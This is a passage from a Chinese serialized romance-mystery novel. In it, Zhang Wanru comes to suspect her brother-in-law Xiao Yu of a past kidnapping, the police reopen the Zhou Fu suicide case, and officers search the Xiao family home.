所以他很自觉不敢上前打扰,这一次是因为听说了大姐家里发生的事情,而且也尝试了好几次才鼓足勇气上前。 张婉如也没想到这么巧,张行书和小戎在一个学校。梦中那本小说中好像也没提到过这茬,不过自从她回来之后很多事情都改变了,因为工作原因将家搬到了这里,小戎也在这边上幼儿园和小学,正好就和张行书同一个学校。 好像确实在冥冥之中改变了很多事情。 张婉如回过神来,见他踟蹰着却一直没开口,她道:“你有事?” “我……我……”张行书不安搓了搓衣角,犹豫了好一会儿才从书包中拿出一个小猪造型的存钱罐,他将存钱罐递到张婉如面前,张婉如不明所以,用眼神询问。 张行书低垂着脑袋,说道:“我听说了大姐家里发生的事情,这是我这些年存的压岁钱和零用钱,虽然没多少,但是大姐有急用的时候也可以当做不时之需。” 张婉如望着眼前的小猪存钱罐和低垂着头似乎下了很大的决心依旧忐忑不安的张行书,自从肖秉文出事之后,不管是肖家还是张家,过问过他们的人很少。倒是没想到突然出现要给她“救急”的人竟然是她都没怎么相处过的弟弟。 因为对张国栋和梁文秀的不满,再加上梦中那本小说中张行书和肖楚戎是在对立面,作为正常人她知道自己的儿子犯了错,但作为一个母亲,她也有自己的私心,对张行书也说不上喜欢,或许还有一点反感。 但她没想到张行书在她有难的时候会主动向她伸出援手,虽然他的援手对她的作用并不大。 张婉如想到梦中那本小说中张行书的为人,正直善良,是一位妙手仁医的医生,他的品行举止都当得起小说中的男主。 这么一看,好像也能理解为什么张行书会对她这个尚算陌生的姐姐伸出援手了。 别说,心里还是有那么一点感动的。 “谢谢你的好意。” 张行书缓缓抬头,对上张婉如和气的脸,她又道:“不过你的好意我心领了,这些钱你肯定存得不容易,你自己留着,以后有需要的时候再拿来用。” “大姐是嫌太少了吗?我知道我的钱不够多,但我只想尽我的一份力帮你一下。” “我现在确实遇到一些事情,不过倒还没有难到揭不开锅需要一个小孩用他的压岁钱来救济的地步。当然我这么说并不是说你的钱少,只是想说我目前处境还不算太差,既如此如果我还收了你的压岁钱,不是占你便宜了吗?” “没事的大姐,我们是亲人,没有什么占不占便宜一说的。” 亲人? 张婉如笑了笑又道:“我是想说我目前还好,还没到无路可走的地步。” 张行书点点头,也没觉得张婉如这话是看不起他什么的,反而放心似的问了一句:“大姐还好那就行了。” “所以,好好收着你的压岁钱,等需要的时候再用。” 张行书低头看了一眼自己的小猪存钱罐,有些不好意思笑了笑,“让大姐见笑了。” “没有。” 旁边有同学在叫张行书,张婉如道:“你同学叫你了,快去吧。” 张行书也感觉到了张婉如对他没那么排斥,他放了些心,虽然小猪存钱罐没送出去,但得知大姐生活没那么糟糕,也算是好事一件,他道:“那行,我先走了,大姐再见。” 张婉如看着他离去的背影,心情有些复杂。她很讨厌张国栋和梁文秀,但是这个弟弟……好像并没有那么讨厌。 回去的路上张婉如问小戎,“你舅舅跟你一个学校,你碰到过他没有?” “嗯,碰到过,第一次碰到他的时候他还给我买了零食。” “啊?还有这回事?怎么都没听你说过?” “我……忘了。” 其实不是忘了,是小戎也发现了妈妈好像不太喜欢外公一家,那么他自然也不会喜欢,所以碰到舅舅的事情便没跟妈妈说。 张婉如也没太当回事。这趟公交车能直接坐到小区门口,两人下了车,就见小区门口处站了个熟人。 “弟妹,小戎!”肖瑜看到两人,立马热情打招呼。 自从肖秉文出事之后肖瑜偶尔也会来看望一下他们母子,他也是肖家唯一一个肖秉文出事之后还关心他们母子的人 “肖瑜哥。”张婉如笑着应了一声。 肖瑜迎着小戎走上去,在他跟前蹲下,说道:“要叫我什么。” “大伯。” 肖瑜揉了揉他的脑袋,“真乖。”他将放脚边的一个盒子递上去,“听你爸说你最近在玩积木,大伯给你买的,喜欢吗?” 是一套积木玩具,小戎接过说道:“谢谢大伯。” “不客气。” 跟小戎打完招呼肖瑜才站起身冲张婉如道:“朋友从沿海给我带了些海鲜过来,我拿了些给你们尝尝。” “肖瑜哥太客气了,你留着自己吃就好了,还麻烦你跑一趟。” “麻烦什么,顺便的事。” 人都到门口了,张婉如自然是将他请上楼,给他泡了杯茶,肖瑜帮小戎将积木玩具拆开,让他在一边玩。喝了两口茶肖瑜才开口问道:“秉文已经很久没回来过了吧?” “确实有好久了。” 肖瑜叹了口气,“这事儿确实闹得挺大,他最近也是忙得晕头转向的,我也有好长一段时间没见过他了。我知道这段时间你和小戎肯定是受了委屈的,不过也是没办法的事情,秉文不仅是爸爸是丈夫,也是一个厂里的领导,带领那么多人吃饭呢。工厂出了事儿,他肯定先顾着工厂,你给他些时间。” 张婉如明白,这是肖瑜来帮着肖秉文安抚她来了,这哥俩感情确实不错。 “我都知道的,也谅解。” “那就行。”肖瑜捧着茶杯喝了一口茶,换了个话题,“说起来这事儿还是因为底下人手脚不干净。我早跟秉文说过别对底下的人太好,看看他厂子里那些福利,是真把员工当自己亲人对待了。可瞧瞧这些员工干的这事儿,给他们那么多好处都喂了狗,一转头就往秉文身上捅刀。” 张婉如曾经听肖秉文提到过,工厂这次的事情是有人在原材料上动了手脚。肖瑜跟肖秉文走得近,他知道也不奇怪。 肖瑜说完又嘿嘿笑了两声道:“我是个嘴巴没把风的,说话没板没眼的,弟妹你别跟我一般见识。” “没事。” “这事儿秉文也跟你提到过的吧?” 他语气带着试探,张婉如猜测他是怕自己嘴快说了不该说的话,虽说张婉如和肖秉文是夫妻,但若是肖秉文没将这事儿告诉张婉如,那肯定有他的道理,他跑来这儿跟张婉如说一通就显得多嘴了。 张婉如道:“他跟我提到过的。” 肖瑜松了口气,说道:“我也许久没去他厂里了,也不知道这事儿有没有个调查结果。” “一直在查着呢。” “那有什么进展吗?” 张婉如也没多想,只以为他是随口关心,她道:“这个我也不太清楚,秉文他难得回来一次,每次回来说不了几句话就匆匆走了。” 肖瑜点了点头,又问道:“秉文没在家我这个做大伯的多少也该照应着一点,你和小戎要是有什么需要就尽管跟我说,大家都是一家人,别跟我客气。” 肖瑜这个人吧在肖家众人眼中就是那种不靠谱的败家子,也不结婚也不谈个女朋友,在长辈眼里就是个怪人,看 上去就不像个正经人,不过真遇上事儿了,这人还挺仗义的。 肖秉文出事这段时间他来探望他们母子好几次了,每次都会给他们带点东西,离开前也势必要交代一句,让他们有什么就找他。 谁能想到这么一个在肖家众人眼中不靠谱的人却是唯一一个热心肠。 张婉如道:“我和小戎挺好的,暂时也没需要,不过也谢谢肖瑜哥好意。” “那行,我就先走了。” 肖瑜站起身,张婉如自然是要挽留一番,“吃过饭再走吧,赵阿姨已经开始做饭了。” “不了,我店里还有事。你也别想那么多,这段时间就安心呆在家中,秉文肯定不会忘记你受的委屈,等事情忙完了自然补偿你的。”他又不放心安慰了一句。 “我知道的,我会好好待着不给他添乱。” “也是,我就是有点瞎操心了,你和秉文也曾一起共患难,这点事情不算什么。我自然也相信你们能一起共度难关。那你和小戎在家好好的,我先走了。” 张婉如将肖瑜送到门口,客气招呼了一声,直到他身影在楼梯口上消失不见她才关门回屋。 张婉如去房间看了一眼小戎,他正玩积木玩得起劲。 “你大伯走了你怎么都不去打个招呼,人家还给你买玩具呢。” “大伯走了吗?” 怕是玩得太投入了都不知道,张婉如无奈笑了笑,问他:“好玩吗?” “嗯。” “你大伯对你这么好,以后长大了别忘了孝敬你大伯。” “好。” 张婉如揉了揉他的头,客厅茶几上还留着两个茶杯,是她方才和肖瑜喝过的。张婉如将茶杯收起来,俯身拿肖瑜喝过的那一杯时骤然想到肖瑜最后那句话。 你和秉文也曾一起共患难。 这句话整体来看没什么,只是一句随口的安慰。可张婉如却觉得哪里不对劲。张婉如从头到脚梳理了一下她和肖秉文在肖家人眼中的样子。 肖秉文对肖家人说的是他和张婉如偷偷谈恋爱才有了孩子,两人唯一在肖家人眼中做出的最离经叛道的事便是未婚先孕。 可这也算不上是共患难,后来张婉如回来之后跟肖秉文结婚,一切也进行得很顺利,自然也没有共患难的说法。至于再后来肖老太爷和肖老太太过世,关于遗产的问题和肖家人有了分歧,但肖秉文也干净利落解决了,也称不上共患难。 可为什么肖瑜会说他们曾共患难呢? 能用“曾”这个字,而且还是共患难,唯一能让张婉如想到和肖秉文共患难的只有她和肖秉文一起被绑架这件事了。可这事儿肖秉文从未跟别人提过,所以肖瑜不可能指的这个。 那么还有什么事情是肖瑜知道,而又能称得上共患难的,好像没有。 张婉如越想越心惊,拿杯子的手抖了一下,那杯子跌在桌上,茶水洒了满地,张婉如却仿若没看到一般,她重重坐在沙发里。 心里盘桓着一个可怕的猜测。 第60章 第60章真凶 她曾听肖秉文说过,他说绑架事件并不是周福一人所为,背后还有一个幕后黑手,而他怀疑这个幕后黑手是肖家人。他一直在调查幕后黑手,可这些年一直没有结果。 不对,张婉如摇头,她仔细回想着她印象中的肖瑜。她跟肖瑜接触得也不多,偶然的接触也都是客客气气的。肖秉文出事之后肖瑜来探望他们也是出于他和肖秉文关系好的人情往来。 也不怪肖瑜被肖家长辈嫌弃,他有时候说话做事确实不太过脑子。肖秉文和秦良川调查了这么多年都没调查出的幕后黑手,能完美躲过两人的调查,他自然心思缜密,头脑敏捷。 可肖瑜这样的人跟心思缜密头脑敏捷完全不相干,他会是那个幕后黑手? 张婉如觉得或许是她想多了,肖瑜那话可能也没别的意思。而且他嘴又快,或许也就是随口那么一说。 张婉如摇摇头收起心思,这才发现倒在桌上的茶杯,急忙起身收拾。 张婉如本已经说服自己想多了,肖瑜这段时间来了几趟关心他们母子,她实在不该那么敏感将他跟那幕后黑手联系起来,人今天还送了一箱海鲜过来呢。 可不知道为什么,这事儿就是越想越不对劲,最后张婉如决定给肖秉文打个电话过去,将自己的猜测说一下,是不是想多了,或许肖秉文能帮她判断。 自从和盛味业出事之后肖秉文和张婉如联系就很少,一来是张婉如知道肖秉文这段时间肯定忙,二来她也不想打扰他影响他处理事情。 也不知道他在忙没有,张婉如打第一次的时候没人接,想着他可能有事没在办公室。便想着一会儿再打,大概一小时之后电话响了,是肖秉文给她回了电话过来。 “刚刚打过电话过来?”电话那头肖秉文问道。 “嗯,你在忙吗?” “和食品监察局的人吃了顿饭,现在才回来。” 张婉如听出他语气中的疲惫,突然又不太忍心拿这点事来烦他,或许真是自己想多了。 “怎么不说话?找我有事?” “我……” “怎么了?又想我了?” 也不知道是不是因为疲惫,他的鼻音有些重,染了笑意,从听筒中传来反而越发有磁性。张婉如感觉被轻轻撩了一下,如实点头,“嗯,想你。” “那我过两天回来一趟?” “啊?你不忙吗?” “先回来一趟再忙。” 就因为她想他就特意跑回来?又想着上次因为她给白军送花的事情他也匆匆跑回来问她,她能感受到这个男人对她的在意,感觉又被撩了一下。 张婉如实在没忍住溢在脸上的笑,氛围轻松了一些,她这才说出打电话的目的,“对了,今天肖瑜哥来过,给小戎买些玩具,还送了些海鲜过来。” “好。”肖秉文随口应了一声,只以为她是在跟他闲话家常。 张婉如说完这话就沉默下来,肖秉文道:“怎么又不说话了?” “今天肖瑜哥来这里帮你说了些好话,让我给你点时间处理事情。他离开前还说了一句,我和你曾一起共患难,想来这次这件事也能克服。当时我听到这话只以为他是在安慰,可后来我越想越不对劲。肖瑜哥为什么要说我们曾经一起共患难呢?肖家所知道的我俩的情况就是偷偷恋爱,未婚先孕,再后来我离开又回来,然后是结婚。这些事情也算不得是共患难吧?而能称得上是共患难的,好像也只有绑架那件事了。你说他是指那件事吗?可他为什么会知道?我又想着你说过我俩那次绑架事件的幕后黑手是肖家人……而且今天肖瑜哥来也问过我你厂子里的调查情况,当然我说我不清楚,我确实也不清楚。所以将这些联想起来我就觉得很奇怪。”张婉如这话太明显了,她就是怀疑肖瑜是幕后黑手,可肖瑜和肖秉文关系不错,而且对他们母子也照顾有加,这么说显得太得罪人了,张婉如停顿了一下又说道:“可能是我想多了,是我太敏感了对吧?” 那边沉默了片刻,肖秉文却没有继续这个话题,而是问道:“小戎还去游泳没有?” “没有,开学了就没去了。” “那白军找过你吗?” 张婉如觉得莫名其妙,他怎么突然把话题扯白军身上了,这也扯太远了。 “他没事找我做什么?” “所以没来找过?” “嗯。” “好。”他轻应了一声。 张婉如其实挺想问问肖秉文是什么看法,想知道是不是自己想多了,不过肖秉文不太想聊这个话题,张婉如猜测是不是她对肖瑜的怀疑让他不舒服了,便也就没再继续这个话题。 “小戎上一年级了,还习惯吗?” “挺习惯的,白子浩依然跟他一个班,还挺有缘分。” “是啊,是挺有缘分的。以后接送孩子,说不定你和白子浩爸爸还会碰面。” “……” 怎么又扯到白军身上了。就跟白军过不 去了是吧?上次因为她给白军送花的事情他特意回来,哄了一下以为将他哄好了,没想到心里还惦记着这事儿呢。 张婉如简直想笑。 “人白军去接孩子就算真想跟谁碰面也不是我,人是想跟林友莉碰面。” “林友莉?”肖秉文语气透着几分意外,“怎么说?” “白军对林友莉做过几次专访,林友莉虽然有点名气但也没大到需要一个主编亲自专访她的程度,白军愿意给她几次专访的机会,你说这说明什么?” “说明什么?” “说明白军对人有意思啊,而且听林友莉说,白军每次采访她都穿得花枝招展的,这还不能说明吗?” “也不一定。” “……” 有些男人的心思是醉翁之意不在酒,看似目的在这里,其实是想通过这个目的达到另一个目的。 当然肖秉文没这样跟她说,显得他这个人懂这么多花花肠子挺有心机的。 张婉如觉得这男人还挺执拗,她道:“你别想那么多啦,反正……你只要知道我是你的就行。” 这话他倒是爱听,肖秉文缓了缓快要溢到喉头的笑声,说道:“好,我过两天回去。” 张婉如想说他先忙自己,别耽误,但她确实也挺想他的。 “嗯,那我等你。” “好。” 这一声“好”字没控制住染了笑,张婉如便知道这又是给他哄住了。 “你先忙吧,我睡了。”张婉如放了些心,说道。 “行。” 挂断电话,张婉如也没忍住笑笑,想着肖瑜那事儿,肖秉文既然没多问便自动归类为自己想多了。 然而挂断电话的肖秉文,在回味了片刻之后脸上的笑意渐渐收敛。张婉如方才的话他自然是听进去了的,之所以岔开话题就是怕聊得太深让张婉如害怕,毕竟那件事曾给她留下不小的阴影。 这段时间肖秉文一直在做调查,不过调查对象都是工厂工人,毕竟近水楼台,工厂的工人是最容易接触到原材料的。 但调查来调查去也没个结果,他又将怀疑的目光落在肖瑜和陈子越身上。这两个人也有一定的嫌疑。 如今再听到张婉如的话,肖瑜的嫌疑便更重了一些。肖秉文沉着眉摸出一根烟来点燃,在寂静的夜色里狠狠吸了一口,周围静得只能听到烟叶燃烧的噼啪声。 张婉如并没有想多,肖瑜那个句“共患难”确实有问题。当然也是因为那件事给她伤害太大了,让她变得敏感,要换个人还真不一定听出来这话有什么不对。 肖瑜? 肖秉文几次怀疑他又几次打消怀疑,比起肖瑜,陈子越都比他更有可能是幕后黑手。 如果这次事件在和盛味业原材料里动手脚的人是工厂里的人,他能想到的动机就是破坏和盛味业的竞争力,很有可能是竞争对手派来的。不过沿着这个思路调查却没有结果。而他将怀疑落在肖瑜和陈子越身上,是因为这两个人都有机会接触到原材料,如果是陈子越,那么他的动机有可能是为了遗产,想争夺肖记。可他试探过陈子越,发生这样的事情,他给陈子越机会,陈子越却不愿意将肖记分割出去。也就是他的动机或许并不是遗产,既然不是为了遗产,那他这么做,他就只能想到一点,他想毁了他。 而那个对和盛味业原材料下手的人如果是肖瑜,他的动机也是如此。毕竟在遗产上肖瑜和他并没有竞争关系,就算肖瑜破坏了和盛味业的声誉他也捞不着什么好,既然没有财产上的目的,那么唯一能解释的就是他想毁了和盛味业,从而毁了他。 这就让他联想到绑架事件的幕后黑手,他怀疑过他就藏在肖家人当中,当年绑架他折辱他,他的目的也是毁了他,想从精神到**将他整个人摧毁。 如果动机是这个,那么陈子越和肖瑜都有可能。 会是肖瑜吗? 他俩自小关系就不错,在肖家那么多人里,除了肖家二老,也只有肖瑜将他当亲人了。 肖秉文将烟头摁灭在烟灰缸,闭着眼调整一下呼吸,出于私心,他真不愿意那个人是肖瑜。 这件事的几天后,这天肖秉文从厂房视察回来,一进办公室就看到肖瑜坐在他办公室沙发上抽着雪茄。 肖秉文虽对他有所怀疑,不过见到他面色也没多大变化,甚至在认出了那雪茄是肖瑜偷拿他抽屉里的还不为嘲讽调侃了一句,“你倒是挺会享受啊,我珍藏着一直不舍得抽的雪茄你给我摸出来抽了。” “这么小气干什么?给哥抽一根又怎么了?话说你都这样了,竟然还抽这玩意儿,我还以为你厂子里都快揭不开锅了。” “那你真太看得起我了,我现在这光景,哪能买得起这东西?这是我风光的时候别人送的,一直珍藏着的,我都舍不得抽的,你倒好。” “你这样一说那我倒是罪过了,不过都拆了,还是抽完,别浪费。” “……” 肖秉文给他丢来一记无语的眼神。 肖秉文道:“你这厂子现在严格了啊,我进来都得好几道工序。” “没办法,事情还没个调查结果,闲杂人等太多了会干扰调查。” “这是把我当闲杂人等了?” “别,我可没那个意思。” 两人还是像以前那样斗嘴耍贱,肖瑜笑了两声说道:“你一直在调查,都这么久了,调查得怎么样?” 如果换做平时,或者肖秉文只当他是随口一问,可前几日张婉如跟他说过她的怀疑,才几天不到肖瑜就跑这里来,又提到调查结果,他心底便有了些分寸,不过面上依旧如常,说道:“没什么结果,说不定到最后就不了了之了。” “啊?那这不太便宜那家伙了?” “调查不出来我也没办法。” 肖瑜啧啧两声,“要不来点玄学?诅咒一下他?” 肖秉文沉着眉向他看去,“你能不能正经一点?” 肖瑜嘿嘿笑了两声,“活跃一下气氛嘛。” “不过,你怎么突然跑我厂子里来了?和盛现在可是在风口浪尖上,小心染了晦气连累你那几个小店。” “你这话我真不爱听,什么叫晦气?做哥的还不能来看望一下你?” “行,那你真有心了。” “知道我有心,以后好起来了别忘了我的好,多照顾一下哥。” “你这人……”肖秉文似笑非笑看着他,“还挺会顺杆子往上爬的?” “行了,我这次过来可不是闲的慌。” “那你这干大事儿的倒说说怎么有空跑我这里来?” 肖瑜也没计较他的调侃,说道:“前几天我去看望了一下婉如和小戎,想着你这段时间可能也不常回家,便过来跟你说一声,母子俩都挺好的。” “行,谢谢了。” 肖秉文这话说得挺真诚,倒看得肖瑜一愣,“你这一正经起来我反而不习惯了。” “那你还真是贱得慌。” 肖瑜听到这话反而笑了,“这样才对味嘛。” “……” “话说你忙归忙,偶尔也回去看看老婆孩子呗,你真就放心把那么一个如花似玉的老婆放家里啊?” 这话听得肖秉文面色染了几分凉意,他道:“也是没办法的事情,能回家谁不想回家?” “不回去那电话联系总得有吧,你还记得你俩上次通电话什么时候吗?” 肖秉文回想了一下,其实几天前才联系过,不过他却冲肖瑜道:“不记得了,好像真好长时间没联系过了。” 肖瑜不由嗔了一声:“你就说你!空了还是得给家里打个电话,再忙也别忘了顾顾家里。” 肖秉文道:“你说你一个单身汉,你倒是比我更懂维系家庭啊?” 这话听得肖瑜一脸不爽,“你这人真没劲。” 两人就这般边斗嘴边聊天,直到有人敲门进来给肖秉文拿来一堆文件,肖瑜见状也就知趣告辞离开,肖秉文还特意让秘书将他送出门。 直到门重新关上肖秉文面色才渐渐凝重下来。 如果 不是上次张婉如给他打过电话,这次肖瑜过来他大概率真只以为他是来简单探望一下他,顺带说一下张婉如和小戎的情况。 可因为上次通过电话,这次跟他聊天他便留了些心眼,一些容易被忽略的看似正常的聊天细节,这会儿想来便觉得不太对劲。 就比如肖瑜看似不经意的打听他厂子里的调查结果,而且还很巧妙旁敲侧击询问他和张婉如最近有没有联系过。 肖瑜大概也意识到那日对张婉如说的话有些不对劲,但他不能肯定张婉如有没有听出来,所以想试探一下,那之后张婉如有没有跟他通过电话,有没有怀疑上他。 好在肖秉文一直应付自如,没让他看出端倪。 有时候太过谨慎了反而容易露出马脚,如今一看,肖瑜的嫌疑又上升了一些,只是肖秉文还是没办法将肖瑜和那个幕后黑手联系起来。 肖瑜这没个正经的,说话做事都显的没脑子,怎么看都不像那个幕后黑手。不过这大概也是他的厉害之处,可以伪装得让任何人都看不出来。 又过了几天之后,金太阳报社主编对肖秉文的专访内容刊登在了金太阳新一期的报纸上,报纸上海还带了一张肖秉文的照片。 在采访中他穿得很正式,一身黑色的衬衣和西裤,庄重严肃出现镜头前,刊登出来的内容是两人的对话。 对于主编的提问,肖秉文应答自如,顺便也通过金太阳报社很诚挚表达自己的歉意。 对话中他这样说:“对这次的事件我很抱歉,作为和盛味业的总经理,这次的事件我有着不可推卸的责任。是我疏于管理才出现了纰漏。很抱歉辜负了一直信任我的顾客,也很惭愧因为这次事件受到伤害的消费者。之后我会积极慰问受害者,抚慰受害者家属,也会做出相应的赔偿。公司这方面我也会加强管理,积极配合警方调查,等将来有了调查结果我会第一时间向公众公布。” 对话内容被一字不漏记录下来,也一字不漏通过报纸让大众看到。每一个字都说得非常诚恳,再配合着照片上肖秉文庄严肃穆的模样,自然产生了不一样的效果。 张婉如无法形容看到这则新闻的心情。肖秉文这人家境优渥年少有成,出门在外因为自身的教养总彬彬有礼,可他骨子里就有一种又浑又不认输又自带优越感的骄傲。 可现在,他真诚低头道歉,态度诚恳,衣着得体,那么骄傲的一个人,却看不出一点的低头的不甘心。 错了就是错了,错了就积极认错,能进也能退,能拿的起也能放得下,进退得宜,大方得体。 张婉如之前还有些迷茫,可看着报纸上的肖秉文,看着他能屈能伸的坦然,她想这样的人做什么不能成功呢? 想着未来缔造了自己商业帝国的大企业家,张婉如觉得应该对他有信心。她回来确实改变了很多事情的走向,但一个人凝在血液里刻在骨头里的东西是无法改变的。 或许是肖秉文诚恳的态度,经历过这次道歉之后,民众对于和盛味业的态度也有了一些改观。虽然和盛味业的产品依旧被抵触,但最起码少了许多民怨和咒骂。张婉如也不知道这算不算一个比较好的转折。和盛味业的风波会不会因为这次转折慢慢淡化,之后在肖秉文的努力下再次取得民众信任。 不过这事儿也让她明白,她拜托白军去采访肖秉文这件事是做对了。 然而就在这件事情之后,金太阳报社的版面上又出现了这样一则新闻。8.12自杀案(周福自杀案)疑似有了新的证据,警方准备重启案件调查。 报纸上每天刊登的新闻层出不穷,一起自杀事件重启调查,也不是影响很大的案件,大概也没多少人关注。 然而张婉如看到这条新闻之后整个人瞬间僵住,手指紧紧握住报纸,反复看了几遍标题才确定没看错。 新闻上先简单描述了一下8.12周福自杀案,当时警方是以自杀结案,最近因为警方掌握了新证据,当时的自杀案极有可能是他杀,这案件便重启调查。 至于最新证据是什么,新闻上也简单进行了描述。原本警方以为周福没有家室,无儿无女,没想到周福在外面有个情人。最新的证据就是这情人提供的,是周福的日记本,日记上的内容证实周福当年是他杀而并非自杀。 新闻并不长,夹杂在报纸上密密麻麻的小字中并不起眼,张婉如却来回看了几遍反复确认。 周福事件要重启调查这事儿实在来得突然,而且还在张婉如跟肖秉文说了自己对肖瑜的怀疑之后不久。 这两者之间有什么联系吗?还是只是单纯的巧合? 这日张婉如将小戎接回家,确定他睡下之后他才出来跟肖秉文打了个电话过去,这一次电话响了几声之后就接起,那边传来肖秉文的声音。 “你看到今天的报纸了吗?说是周福自杀的事情要重启调查了。”张婉如开门见山说道。 “看到了。” “你跟秦良川关系好,你知道具体情况吗?” “就跟报纸上描述的差不多,周福有个相好突然给警方提供了一本周福生前的日记本,日记本上记录的内容显示周福当年的死有可能是他杀,警方因此决定重启案件调查。” “如果是他杀的话,你说周福的死会是那个幕后黑手做的吗?” 肖秉文听出了她话语间夹杂的微微颤音,他并没有立刻回答,而是轻声叫了她一声,“张婉如。” “嗯?” “别害怕。” “……” 张婉如也说不清楚自己究竟是在害怕还是激动,她能感受到胸腔内激烈的心跳,意识到不对劲,但就是控制不住,直到听到肖秉文这句话。 他声音很柔却又带着男人特有的低沉,仿若一只大掌在她心上轻轻安抚了一下。张婉如感觉那激烈的心跳稍稍缓了一些。她调整了一下情绪,回道:“我没害怕。” “不管周福的死究竟是谁做的,警方决定重启调查,那势必就会有一个结果。或许那件事也能因此画上句号了。” 张婉如自然知道他说的那件事指的是他们被绑架的事情。 “真的会有一个结果吗?” “当然。”肖秉文说得很肯定,“这一次定会抓到幕后黑手给你一个交待,我会让他向你认错,给你道歉,弥补你这么多年来所受的委屈。” 他每一个字都说得很郑重,像有一把小锤子敲击在张婉如心头。张婉如无法形容听到这些话的感觉,那个曾给她带来噩梦的人,真的会跟她道歉,向她认错吗?再次感受到胸腔激烈的跳动,然而张婉如却捕捉到关键信息。 “你是不是知道那个人是谁了?” “不确定。” “不确定?也就是有怀疑的对象了?” “没有。” “……” 张婉如有些失落,肖秉文道:“好好在家,如果担心就暂时不去上班,我过两天就回来。” 听到他要回来,张婉如又莫名多了些安全感。 “好,我等你。” 60-65 第61章 第61章原来是你 周福自杀这件事重启调查对于张婉如来说是好事,代表着当年的绑架案有水落石出的可能。不过这段时间张婉如却过得很忐忑,事情没个结果之前她安不下心来,靠着每天安慰自己肖秉文就快回来了才让自己心态放平一些。 不过张婉如并没有等来肖秉文却等来了刑警队。这日张婉如刚带小戎回家就听到有人敲门,开了门却见是几个穿着制服的刑警,张婉如认出了为首的人是秦良川。 秦良川旁边一个年轻些的拿了一张文件举到张婉如跟前,说道:“你好,我们是搜查科的,奉命来这里搜查物证。” 秦良川和肖秉文是朋友,张婉如不明所以,向秦良川看去,秦良川道:“别担心,只是例行搜查。” 张婉如满脑子问号,为什么搜查科的人会来这里?还有他说搜查物证,什么物证?别人还 等着,张婉如只得先放人进来。几人进来之后便戴上手套开始在家中翻找。 “秦队长,怎么回事啊?”张婉如小声问他。 秦良川刚要回答,就见门口又走进一个人来,看到屋中的人也没意外,淡定又客气招呼了一句,“你们来了?” 张婉如看向来人,是这段时间一直期盼着的肖秉文。看到肖秉文张婉如松了一口气,不仅是因为多日不见对他的担忧和思念,也因为肖秉文一出现,因为搜查科而心绪烦乱的张婉如仿若看到定海神针,稍微安了些心。 张婉如迎上去,肖秉文仿若知道她要问什么,冲她点点头,又握住她的手,直接在她手上轻柔捏了捏,是在给她安慰。 张婉如知道这是肖秉文要让她放心的意思,再看他反应平静,显然有人来搜查他并不意外,她便暂时吃了一颗定心丸,没多问。 肖秉文跟秦良川聊了几句,搜查科的人也搜查得差不多了,准备撤队。搜查科带队的人走到肖秉文跟前,问道:“肖先生这一年内还在大同街住过对吧?” 肖家老宅就在大同街,肖秉文道:“住过一段时间。” “行,那二位跟我们过去一趟,其他大队的人多半已经过去了,我们要集中人进行搜查和采集指纹。” 肖秉文很爽快,应道:“好。” 肖秉文和张婉如夫妻俩便坐上警车去了肖家老宅,小戎只能暂时交由赵阿姨看管。一路上张婉如内心忐忑,不过肖秉文却和没事人一样跟秦良川聊天。张婉如的手倒一直被他握在手中,察觉到她在紧张就在上面捏一捏。 车子很快行到肖家老宅,张婉如这才发现肖家老宅被拉上了警戒线,有不少穿着警服的人在门口巡逻。 进了肖家,却见肖家几乎所有人全被集中在这里,家里一下来了这么多警察,大张旗鼓拉上警戒线,又将肖家众人全部召集回来,这自然让肖家人不明所以。 梁建英没憋住话,问道:“警官同志,究竟发生什么了?这大人要上班,孩子要上学,把我们全召集回来也没给个说法。” 负责调查的行政人员说道:“我们正在调查一起杀人案,被害人名叫周福,曾和你们一家人有过接触,我们也是按照程序对嫌疑人搜查取证,希望你们配合一点。” “嫌疑人”几个字一出来,肖家众人都提心吊胆的,你看看我我看看你,表情明显都不太好。 刑侦人员又道:“接下来我们会采集你们每个人的指纹,还会对你们每个人的房间挨个进行搜查寻找证物,在搜查结束之前大家最好不要随意外出。” 这话落下自然又引得肖家众人不满,不过人家也是公事公办,有搜查证的,即便心里不满也不敢说什么,只能配合。 肖秉文一行人进来之后肖瑜便瞅准了机会凑到肖秉文身边小声问他:“什么情况啊?” 肖秉文也小声回答:“不是说了吗,搜查证物。” “不是。”肖瑜不解,“就因为周福跟我们接触过,我们所有人都成嫌疑人了?” “没办法,命案嘛,调查肯定严谨一些,反正配合调查吧。” 肖瑜沉默了一会儿又问道:“他们说在找证物,到底是什么证物啊?你跟秦良川那么熟,应该听他透露过吧?” “这个我也不是很清楚,我跟秦良川再熟他也不可能把工作机密透露给我,不过我倒是隐约听过是跟衣服有关,其他的就不清楚了。” “衣服?”肖瑜随口反问了一句便没再说话了。 两人说话的声音小,张婉如并未听见,只是看到肖瑜过来便想到她曾跟肖秉文说过自己的怀疑,不过看肖秉文的面色并没有什么变化,两人聊天状态也挺正常,不见有任何嫌隙。 那日跟肖秉文打电话说过自己的怀疑之后肖秉文也没再就这件事问过她,张婉如便想着或许是自己想多了,可这会儿看到肖瑜和肖秉文聊得那么随意自在的,心里还是不由觉得奇怪。 搜查一直持续到晚上,一家子都被集中在堂屋中,挨个采集指纹。人多,氛围又肃穆凝重,大人还好,小孩子看到这么多陌生人肯定害怕。肖家最小的孩子陈子越的女儿陈珍宜小朋友害怕得直哭。 陈珍宜的妈妈小琴急忙抱着她安慰,张婉如看到陈珍宜便看想到小戎,也不知道他们这么晚没回去小戎会不会害怕? 张婉如走上前帮着小琴安慰,好话说了不少又给了一颗糖,小姑娘总算是不哭了。 这会儿肖秉文和秦良川站在门口抽烟,秦良川用眼神示意了一下小朋友,说道:“瞧瞧搞得鸡飞狗跳的。” 小姑娘哭得也着实可怜,肖秉文也挺自责,说道:“也是没办法的事。” “你说这样真能把他逼出来吗?”秦良川又问道。 “突然袭击确实能打个措手不及。” “那万一他依然能稳住怎么办?毕竟我们调查了这么多年他也一点没露出过马脚。” “那就只能认输,功亏一篑了。” 听到这话秦良川脸色也有些难看,将烟头丢地上踩了踩,说道:“妈的,这么多年了,眼看着有点眉目,这混蛋是真他妈能装。” 肖秉文拍了拍他的肩头,说道:“也别那么消极,这次的突然袭击是将他逼到绝路上了,他就算再能装再淡定,可终究是人,是人就会有复杂的人性,会有脆弱的一面,面对绝境也会乱了阵脚。” “但愿如此了。” 搜查科的工作人员搜查得很仔细,肖家每个房间,挨个挨个找,绝不放过任何可以藏匿证据的角落。所以搜查工作进展得很慢,到半夜了还没结束。 今晚月圆,淡淡清辉洒在地上,此刻肖秉文和秦良川站在肖家后院的那株大榕树下,榕树茂密的枝叶和粗大的树干将两人的身体牢牢遮挡,离远了根本发现不了。 “搜查到哪里了?”肖秉文问道。 